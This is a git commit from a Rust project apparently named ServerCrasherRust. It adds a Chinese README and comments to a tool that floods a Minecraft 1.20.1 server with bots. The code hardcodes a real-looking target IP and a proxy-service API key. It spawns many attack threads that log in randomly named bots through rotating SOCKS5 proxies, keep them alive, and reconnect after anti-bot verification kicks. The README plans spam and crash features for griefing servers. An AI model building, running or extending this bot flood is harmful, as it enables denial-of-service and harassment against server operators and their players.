添加README.md,加了点注释
This commit is contained in:
16
README.md
Normal file
16
README.md
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
# SCRGV - 地球管家
|
||||||
|
该项目为生鱼管家的重制版,将项目移植到了rust,并且拥有了更加简洁的程序~~(即丢掉了原先的那坨史山)~~
|
||||||
|
得益于rust高效~~(且折磨人)~~的内存管理,新版本可以以更低的内存占用达到更高的效果
|
||||||
|
目前的版本仅支持Minecraft 1.20.1,且暂无配置文件等功能(目标ip什么的写死在代码里了)
|
||||||
|
## 使用方法
|
||||||
|
1. 我相信通过百度,你有安装rust的能力,因此跳过此步骤
|
||||||
|
2. 将项目克隆到本地
|
||||||
|
3. 命令行里跑一跑
|
||||||
|
```shell
|
||||||
|
cd ServerCrasherRust
|
||||||
|
cargo run
|
||||||
|
```
|
||||||
|
## TODO List
|
||||||
|
1. 实现配置文件&更加灵活的代理设置
|
||||||
|
2. 实现spammer,tab completion crash等实用的~~熊服~~(划掉)功能
|
||||||
|
3. 适配多版本(flag先立着,什么时候实现不一定)
|
||||||
@@ -1,3 +1,5 @@
|
|||||||
|
// bot的实现
|
||||||
|
|
||||||
use std::{io::Error, thread::sleep, time::Duration};
|
use std::{io::Error, thread::sleep, time::Duration};
|
||||||
|
|
||||||
use rust_mc_proto::{DataBufferReader, DataBufferWriter, MinecraftConnection, Packet, ProtocolError};
|
use rust_mc_proto::{DataBufferReader, DataBufferWriter, MinecraftConnection, Packet, ProtocolError};
|
||||||
@@ -24,11 +26,13 @@ impl Socks5Bot {
|
|||||||
}
|
}
|
||||||
// bot登录函数
|
// bot登录函数
|
||||||
pub fn login(&mut self) -> Result<(), ProtocolError> {
|
pub fn login(&mut self) -> Result<(), ProtocolError> {
|
||||||
|
// 这里其实传的server host是什么都不要紧,但保险起见还是弄一下
|
||||||
let mut server_host: String = self.server_addr.clone();
|
let mut server_host: String = self.server_addr.clone();
|
||||||
let server_port: String = server_host.split_off(server_host.find(":").unwrap()+1);
|
let server_port: String = server_host.split_off(server_host.find(":").unwrap()+1);
|
||||||
// println!("{}",server_host);
|
// println!("{}",server_host);
|
||||||
server_host = server_host.strip_suffix(':').unwrap().to_string();
|
server_host = server_host.strip_suffix(':').unwrap().to_string();
|
||||||
let server_port_num: u16 = server_port.parse::<u16>().unwrap();
|
let server_port_num: u16 = server_port.parse::<u16>().unwrap();
|
||||||
|
// 发一个handshake包,设置next_state为2(Login)
|
||||||
self.conn.write_packet(&Packet::build(0x00, |packet| {
|
self.conn.write_packet(&Packet::build(0x00, |packet| {
|
||||||
packet.write_u16_varint(763)?; // protocol_version
|
packet.write_u16_varint(763)?; // protocol_version
|
||||||
packet.write_string(&server_host)?; // server_address
|
packet.write_string(&server_host)?; // server_address
|
||||||
@@ -36,6 +40,7 @@ impl Socks5Bot {
|
|||||||
packet.write_u8_varint(2) // next_state
|
packet.write_u8_varint(2) // next_state
|
||||||
})?)?; // handshake packet
|
})?)?; // handshake packet
|
||||||
|
|
||||||
|
// 再发一个,把用户名发过去(不知道为什么,反正文档上写要发两个)
|
||||||
self.conn.write_packet(&Packet::build(0x00, |packet| {
|
self.conn.write_packet(&Packet::build(0x00, |packet| {
|
||||||
packet.write_string(&self.username)?;
|
packet.write_string(&self.username)?;
|
||||||
packet.write_boolean(false)// ?;
|
packet.write_boolean(false)// ?;
|
||||||
@@ -45,25 +50,30 @@ impl Socks5Bot {
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 处理服务器发的keepalive
|
||||||
pub fn handle_keepalive(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
|
pub fn handle_keepalive(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
|
||||||
// keep alive
|
// keep alive
|
||||||
let id = packet.read_long()?;
|
let id = packet.read_long()?;
|
||||||
|
// keepalive原封不动丢回去就行
|
||||||
|
// TODO 在20秒未进行Keepalive时断开连接
|
||||||
self.conn.write_packet(&Packet::build(0x12, |packet| { // respond with a same keep alive packet
|
self.conn.write_packet(&Packet::build(0x12, |packet| { // respond with a same keep alive packet
|
||||||
packet.write_long(id)
|
packet.write_long(id)
|
||||||
})?)?;
|
})?)?;
|
||||||
// println!("Server keep alived");
|
// println!("Server keep alived");
|
||||||
|
// 这个包是重生用的,因为我发现如果玩家上线的时候就是死的,那它就没法自动重生
|
||||||
self.conn.write_packet(&Packet::build(0x07, |packet| {
|
self.conn.write_packet(&Packet::build(0x07, |packet| {
|
||||||
packet.write_u8_varint(0)
|
packet.write_u8_varint(0)
|
||||||
})?)?;
|
})?)?;
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 处理断开连接事件(这个指的是建立连接后再断开连接)
|
||||||
pub fn handle_disconnect(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
|
pub fn handle_disconnect(&mut self,packet: &mut Packet) -> Result<(), ProtocolError> {
|
||||||
// disconnect
|
// disconnect
|
||||||
let message = packet.read_string()?;
|
let message = packet.read_string()?;
|
||||||
let text = utils::parse_json_component(message.as_str());
|
let text = utils::parse_json_component(message.as_str());
|
||||||
println!("[{}] Server disconnected: {}", self.username, text);
|
println!("[{}] Server disconnected: {}", self.username, text);
|
||||||
if text.contains("验证程序已启用") {
|
if text.contains("验证程序已启用") { // TODO 把这个搞进配置文件里面
|
||||||
println!("[{}] Restart flag setted, will restart after 1.5 min", self.username);
|
println!("[{}] Restart flag setted, will restart after 1.5 min", self.username);
|
||||||
sleep(Duration::from_secs(90));
|
sleep(Duration::from_secs(90));
|
||||||
self.should_restart = true;
|
self.should_restart = true;
|
||||||
@@ -78,12 +88,12 @@ impl Socks5Bot {
|
|||||||
while self.conn.is_alive() {
|
while self.conn.is_alive() {
|
||||||
let mut packet = self.conn.read_packet()?;
|
let mut packet = self.conn.read_packet()?;
|
||||||
match packet.id() {
|
match packet.id() {
|
||||||
0x02 => {
|
0x02 => { // 成功登录
|
||||||
// login success
|
// login success
|
||||||
println!("[{}] Successfully logged in!",self.username);
|
println!("[{}] Successfully logged in!",self.username);
|
||||||
status = 1;
|
status = 1;
|
||||||
}
|
}
|
||||||
0x03 => {
|
0x03 => {// 设置压缩CompressionThreshold
|
||||||
// set compression
|
// set compression
|
||||||
let threshold = packet.read_i32_varint()?;
|
let threshold = packet.read_i32_varint()?;
|
||||||
if threshold >= 0 {
|
if threshold >= 0 {
|
||||||
@@ -91,22 +101,22 @@ impl Socks5Bot {
|
|||||||
// println!("[{}] Compression threshold set to {}", self.username, threshold)
|
// println!("[{}] Compression threshold set to {}", self.username, threshold)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
0x23 => {
|
0x23 => { // KeepAlive包
|
||||||
self.handle_keepalive(&mut packet)?;
|
self.handle_keepalive(&mut packet)?;
|
||||||
}
|
}
|
||||||
0x1A => {
|
0x1A => {// 断连包
|
||||||
// disconnect
|
// disconnect
|
||||||
self.handle_disconnect(&mut packet)?;
|
self.handle_disconnect(&mut packet)?;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
0x00 => {
|
0x00 => {// 版本不匹配啥的就会走这
|
||||||
if status == 0{
|
if status == 0{
|
||||||
let text = packet.read_string()?;
|
let text = packet.read_string()?;
|
||||||
println!("[{}] Failed to login: {}", self.username, utils::parse_json_component(text.as_str()));
|
println!("[{}] Failed to login: {}", self.username, utils::parse_json_component(text.as_str()));
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
0x38 => {
|
0x38 => {// 去世包(自动复活)
|
||||||
// player died
|
// player died
|
||||||
println!("[{}] Player died,respawning...",self.username);
|
println!("[{}] Player died,respawning...",self.username);
|
||||||
self.conn.write_packet(&Packet::build(0x07, |packet| {
|
self.conn.write_packet(&Packet::build(0x07, |packet| {
|
||||||
@@ -121,6 +131,7 @@ impl Socks5Bot {
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 运行bot
|
||||||
pub fn run(&mut self) -> Result<(), ProtocolError> {
|
pub fn run(&mut self) -> Result<(), ProtocolError> {
|
||||||
println!("[{}] Connecting to {} with proxy {}", self.username, self.server_addr,self.proxy_addr);
|
println!("[{}] Connecting to {} with proxy {}", self.username, self.server_addr,self.proxy_addr);
|
||||||
self.login().unwrap();
|
self.login().unwrap();
|
||||||
|
|||||||
18
src/main.rs
18
src/main.rs
@@ -1,3 +1,5 @@
|
|||||||
|
// 地球管家 - 主程序
|
||||||
|
|
||||||
mod bot_socks5;
|
mod bot_socks5;
|
||||||
mod utils;
|
mod utils;
|
||||||
|
|
||||||
@@ -9,7 +11,10 @@ use rand::distributions::Alphanumeric;
|
|||||||
use serde_json::Value;
|
use serde_json::Value;
|
||||||
use reqwest;
|
use reqwest;
|
||||||
|
|
||||||
|
// 目标的ip地址(暂时不能解析dns)
|
||||||
|
// 理论上你可以把它改成任何支持1.20.1的服务器
|
||||||
const SERVER_ADDR: &str = "49.70.3.146:33009";
|
const SERVER_ADDR: &str = "49.70.3.146:33009";
|
||||||
|
// uu代理的api(用来实时获取代理)
|
||||||
const UU_URL: &str = "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json";
|
const UU_URL: &str = "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json";
|
||||||
|
|
||||||
#[tokio::main]
|
#[tokio::main]
|
||||||
@@ -21,6 +26,7 @@ async fn main() {
|
|||||||
// .build()
|
// .build()
|
||||||
// .unwrap();
|
// .unwrap();
|
||||||
|
|
||||||
|
// 一个互斥锁,防止有多个线程同时请求uuproxy
|
||||||
let thread_lock = Arc::new(Mutex::new(()));
|
let thread_lock = Arc::new(Mutex::new(()));
|
||||||
|
|
||||||
let mut handles = Vec::new();
|
let mut handles = Vec::new();
|
||||||
@@ -31,6 +37,7 @@ async fn main() {
|
|||||||
// attack_thread(lock_clone).await;
|
// attack_thread(lock_clone).await;
|
||||||
// println!("[MAIN] Thread {} created", i);
|
// println!("[MAIN] Thread {} created", i);
|
||||||
// });
|
// });
|
||||||
|
// 生成一个线程
|
||||||
let handle = thread::spawn(move || {
|
let handle = thread::spawn(move || {
|
||||||
tokio::runtime::Builder::new_current_thread()
|
tokio::runtime::Builder::new_current_thread()
|
||||||
.enable_all()
|
.enable_all()
|
||||||
@@ -39,21 +46,23 @@ async fn main() {
|
|||||||
.unwrap()
|
.unwrap()
|
||||||
.block_on(async move {
|
.block_on(async move {
|
||||||
attack_thread(lock_clone).await;
|
attack_thread(lock_clone).await;
|
||||||
println!("[MAIN] Thread {} created", i);
|
// println!("[MAIN] Thread {} created", i);
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
handles.push(handle);
|
handles.push(handle);
|
||||||
println!("[MAIN] Thread {} created", i)
|
println!("[MAIN] Thread {} created", i)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 等待所有任务完成
|
// 等待所有任务完成(虽然大概也许可能这辈子都等不到)
|
||||||
for handle in handles {
|
for handle in handles {
|
||||||
handle.join().unwrap();
|
handle.join().unwrap();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 用于殴打的线程
|
||||||
async fn attack_thread(lock: Arc<Mutex<()>>) -> () {
|
async fn attack_thread(lock: Arc<Mutex<()>>) -> () {
|
||||||
loop {
|
loop {
|
||||||
|
// 请求proxy
|
||||||
let resp: reqwest::Response;
|
let resp: reqwest::Response;
|
||||||
{
|
{
|
||||||
let _guard = lock.lock().await;
|
let _guard = lock.lock().await;
|
||||||
@@ -61,11 +70,14 @@ async fn attack_thread(lock: Arc<Mutex<()>>) -> () {
|
|||||||
}
|
}
|
||||||
let proxy_list: Value = serde_json::from_str(&resp.text().await.unwrap()).unwrap();
|
let proxy_list: Value = serde_json::from_str(&resp.text().await.unwrap()).unwrap();
|
||||||
let proxy = &proxy_list["proxies"].as_array().unwrap()[0];
|
let proxy = &proxy_list["proxies"].as_array().unwrap()[0];
|
||||||
|
|
||||||
let username = generate_string();
|
let username = generate_string();
|
||||||
|
// 这里用来标记是否需要重启
|
||||||
let mut flag = true;
|
let mut flag = true;
|
||||||
|
|
||||||
while flag {
|
while flag {
|
||||||
flag = false;
|
flag = false;
|
||||||
|
// 创建一个bot
|
||||||
let bot_result = bot_socks5::Socks5Bot::new(
|
let bot_result = bot_socks5::Socks5Bot::new(
|
||||||
username.clone(),
|
username.clone(),
|
||||||
format!("{}:{}", proxy["ip"].as_str().unwrap(), proxy["port"]),
|
format!("{}:{}", proxy["ip"].as_str().unwrap(), proxy["port"]),
|
||||||
@@ -91,6 +103,8 @@ async fn attack_thread(lock: Arc<Mutex<()>>) -> () {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 生成一个随机的用户名
|
||||||
|
// author: 通义
|
||||||
fn generate_string() -> String {
|
fn generate_string() -> String {
|
||||||
let mut rng = rand::thread_rng();
|
let mut rng = rand::thread_rng();
|
||||||
let len = rng.gen_range(5..=10);
|
let len = rng.gen_range(5..=10);
|
||||||
|
|||||||
@@ -1,4 +1,6 @@
|
|||||||
// 处理json组件
|
// 一些杂七杂八的小东西可以放在这
|
||||||
|
|
||||||
|
// 处理json组件(有些TextComponent里面一堆extra看的我头皮发麻,所以整个这个)
|
||||||
pub fn parse_json_component(json: &str) -> String {
|
pub fn parse_json_component(json: &str) -> String {
|
||||||
let data: serde_json::Value = serde_json::from_str(json).unwrap();
|
let data: serde_json::Value = serde_json::from_str(json).unwrap();
|
||||||
let mut res: String = String::new();
|
let mut res: String = String::new();
|
||||||
|
|||||||
Reference in New Issue
Block a user